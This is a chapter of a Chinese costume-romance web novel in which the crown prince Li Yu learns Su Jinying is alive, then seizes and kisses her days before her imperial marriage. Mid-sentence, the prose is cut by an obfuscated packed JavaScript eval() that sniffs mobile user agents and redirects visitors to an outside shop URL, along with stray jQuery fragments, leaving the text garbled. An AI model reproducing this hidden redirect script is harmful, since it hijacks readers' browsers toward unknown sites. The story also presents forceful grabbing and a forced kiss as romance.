李钰的手上滴着血。他快步向丹花楼密室走去,老鸨紧随其后。
“叫小厮端盆水来。”
“是。”
李钰眼色深沉,看着手中暗红的血渐渐变干。
李钰特批孙建安回乡查看孙家村现在情况。如今苏锦莹生死不明,他便将心中的愤恨全都发泄在砍杀卧底在京的曼怡人上。
小厮端来了盆清水后退下。
他将手上的血擦干净后拿出了放在胸前的玉佩。睹物思人,他又想起了她。
他恨自己没一直陪在她身边。如果他放下高傲的自尊心,赖在她身边不走,是不是她就不会出事?
他的心如同被万千蚂蚁咬嗜一般疼痛无比,难以言说。
太傅曼怡竟敢做出放火烧村这种丧尽天良、草芥人命的事情。他一定要让他们付出代价,他一定要将可恶的曼怡人赶尽杀绝。
房门突然被人打开,他便收起玉佩,循声抬头望去,来的人竟然是几日未见的陆仁泽。
陆仁泽满脸疲态,一身酒气,让李钰忍不住皱眉用手捂住了鼻子。
李钰那日告诉陆仁泽周彩瑶的死讯后,陆仁泽便在府中整日酗酒,作践自己身体,闭门不出。
李钰知道他心中对自己有怨,怪自己安排周彩瑶去保护苏锦莹而不是安排别人去。也许在他眼中自己也是间接害死周彩瑶的人。
不知为何今日竟然他竟出了门,还来了丹花楼。
“你这是喝了多少酒?”
陆仁泽缄默,径直走到李钰一旁的椅子坐下。
他不回答,而是反问其他,“京中城西处的曼怡人可有被抓获?他们招供了什么信息?”
“抓了五个,死了两个,其他活着的暂时还没招供。他们一口咬定自己只是来京城做小本生意,同太傅党羽的人没有关系。”
李钰放下手,却还是难以忍受他浑身的酒气,“不如我让老鸨给你备水,让你好好清洗一番。这般酒鬼模样成何体统。”
“我这模样怎么了?不如让老鸨再那些酒来。”陆仁泽轻笑,与李钰对视,“我不想太子你,无情无爱,不用借酒消愁。也难怪她不来找你帮忙,而是来找我。”
“你这是何意?她是谁?”李钰皱眉。
陆仁泽不答,“掐指一算,大婚应该就在七日后,看来府上的人有得忙了。”
李钰心中一沉,他口中的大婚莫不是皇帝钦赐的中书侍郎陆家同镇国公苏家的昏礼。
难道她还活着!
李钰猛地站起,心中欣喜不已,笑着离开丹花楼快步向苏府走去。
夜色已深,明月高悬。
苏锦莹让下人都退下,独自一人坐在院子里的石桌边。
桌上放着她从陆仁泽那拿来的酒。青花瓷酒瓶上画着丹花楼独有的花纹。
她用手摸着那花纹想起了她按师父吩咐下山时去丹花楼找周彩瑶的那段时光。周彩瑶虽是青楼女子却饱腹诗书、胸怀大志。她是她下山后交的第一个朋友,也是她这辈子最好的朋友。
她苦笑着将酒倒入杯中,圆月挤进杯中,将杯中美酒照得透亮。
周彩瑶曾对她说过丹花楼的酒是整个京城最香醇的酒。
她还从未喝过酒。
她又想起了赵菡香替她酿的女儿红。
师父在天上若是知道她接下来的打算会作何感想?是支持还是阻拦?
她心乱如麻,倍感烦闷,一鼓作气将杯中的酒喝下。
丹花楼的酒是外地送来的金华酒。此酒色如琥珀,甘甜柔顺。
一杯接着一杯。
喝多了,连天上的月亮都变成了两个。她趴在桌前,枕着手,泪眼模糊。
她看见眼前一个身影在向她走来。
为了不惊扰府上其他的人,李钰翻墙入府,脚步轻盈。他刚走几步便看到了院子里伶仃大醉的苏锦莹。
他慢慢向她走近。
心中喜悦和痛楚交织。那是一种失而复得的喜悦。他终于明白了当时她知道阿木没死时她心中的如何的快乐高兴。那是一种难以释怀的痛楚,他也终于明白了阿木真正死去时她面对他时心中的痛苦。
他的心靠近她便开始变得柔软。这是他身为皇帝溺爱的太子从未有过的感受。
“李钰……”
她闭眼说话的声音很小却还是被他听见。
他带着笑蹲下身看眼前喝醉酒的她。
“我讨厌你……”
李钰心头微颤。
“可是我的心……好痛……为什么会爱你……”
李钰将苏锦莹耳侧的碎发往后拨。月光下她白皙微微泛红的脸颊和红润的双唇让他着迷。
他轻轻在她额间落下一吻。
他将她抱起,进了屋,将她放在床上,为她盖好被子后离去。
次日清晨,太子亲临苏府着实把苏明刚吓了一跳。
苏明刚让小桃叫苏锦莹来见李钰,未见其人只得不见二字。苏明刚不知道他和她之间发生过什么,但她不愿意出来见他,苏明刚便找了身体不适的理由圆滑地让李钰离开。
李钰知晓她昨日喝了酒,便信以为真,转身离去。
接连三日,苏明刚都以她身体不适为由回绝他。
他再也抑制不住心中的思念,再次趁着夜色潜入府中。
“你们小心些,别弄坏了小姐的嫁妆。”
小桃大声训斥着正懒懒散散搬动红箱的小厮们。
只见地上摆着数个红箱,红线里面满满当当地装着黄金和珠宝首饰。这些首饰有一些是苏锦莹母亲留下的,还有一大部分是苏明刚亲自去珠宝集市挑选的。苏明刚这人爱面子,就算苏府落魄,他也要给自己女儿准备价值不菲的嫁妆。
李钰咬紧后牙,径直冲向苏锦莹房间。
小桃见状连忙和小厮一起上前阻拦,只可惜他们都慢了一步,李钰进门后便将门关上上了锁。
小桃担忧地用力拍打房门,“是谁进了小姐的房间?小姐!你快出来!”
李钰转身对上苏锦莹的眼。
苏锦莹看了眼他后,继续整理手中的婚服。
婚服样式精美,是苏明刚和江芳月一同要求秀依坊最好的绣娘制作的。正红色圆袍上绣着栩栩如生的金凤凰,明黄色大衫上绣满了祥云。
世人常道父母之命媒妁之言。如今她的昏礼也算是勉强随了自己的心愿。只是可惜她这辈子要嫁的人不是她心中的意中人罢了。
李钰见她专注地打理着手中的婚服,愤怒从心中溢出来。他冲到她的面前,狠狠地抓住了她的手腕。
他手上的力气比以前任何一次都要更加用力。她却没说疼。
“停下!”
他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947605|210426||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
双眼猩红,下颌绷紧,死死地抓住她的手腕。
“你就这么想嫁给他!”
苏锦莹无言,撇过脸去。
他掐住她的下巴,让她与自己对视。
但他看不清她的眼神的情愫,只捕捉到一丝哀愁。
苏锦莹用手将他掐着自己下巴的手拍开,眼神漠然,咬牙想将另一只手挣脱开,手却仍被他死死抓住。
“为什么,那日你明明……”亲口说了爱我。
她第一次从他的眼里看到了痛苦,“你为什么要嫁他?”
“这桩婚本就是皇帝赐下的。我只是按时按理准备婚事而已。”
“你明明不喜欢他,你明明想要反抗这桩婚事,难道不是吗?”
苏锦莹轻笑,“是又如何,不是又如何。此事与太子殿下何干?”
“你究竟想做什么?我可以帮你,你不需要找陆仁泽。”
“我让你杀了皇后,你敢吗?”
他的手松了力气,她便瞬时挣脱开来。
“我让你杀了太傅,你敢吗?”她苦笑,“你当然不敢。你是太子,是下一任君王。”
她的眼慢慢泛起泪花来,“太傅和曼怡人害死了孙家村的人,而皇后害死我师父,他们都是我的仇人。我一定会亲自取了他们的性命。我做的事不劳烦太子挂心,我绝不会影响到你。”
“够了!”
李钰将她一把抱起,横抱在身前。
“你要干什么!李钰,你放我下来!”
他当作没听到她的话,开了门,抱着她往大门走。
小桃连忙跟了上去。她神色慌张,“小姐!”
没想到刚刚进小姐屋里的人竟然是太子殿下。
“你放我下来!”苏锦莹挣扎着,却终究无济于事。他将她牢牢抱在身前,丝毫没有放她下来的意思。
“我劝你小声点。若被他人看见你我如此,恐怕你就不能如愿嫁进陆府了。”李钰冷笑。
苏锦莹这才意识到他们过于亲密,若被他人瞧见定会被人在背后议论。她顿时涨红了脸,闭上了嘴。
他刚走到大门口便被小桃拦下。
跑到他们面前的小桃气喘,“放下我家小姐!”
“让开!”
李钰的眼神压迫感极强,宛若蛇蝎的眼睛,在夜里散发着冰冷的幽光。
小桃脊背发凉,却仍然壮着胆子继续,“请太子殿下放我家小姐下来。”
“若你想让旁人知晓我和她的关系,你大可让其他人来拦我。”李钰佯装要亲苏锦莹,将脸凑到苏锦莹面前。
小桃的脸瞬间变红,“停下!”
小桃低下头来退了一步为他让道,李钰瞪了她一眼后便带着苏锦莹离开苏府上了马车。
“你要带我去哪?四日后我便会成亲,还请太子殿下自重。”
李钰将苏锦莹拉入怀中,他捧着她的脸,“我讨厌你说这些话。”
他强势地将吻送上。
这个吻十分激烈。他毫无章法地亲吻着她,让她有些喘不过气。
苏锦莹被吻得腿软,慢慢没了力气,不再挣扎。
二人渐渐动情,体温升高,感到燥热。
他嘴上的动作也渐渐变得轻柔。
一吻完毕,四目相视。她的眼波中柔情似水,而他的眼里也没了先前的暴戾。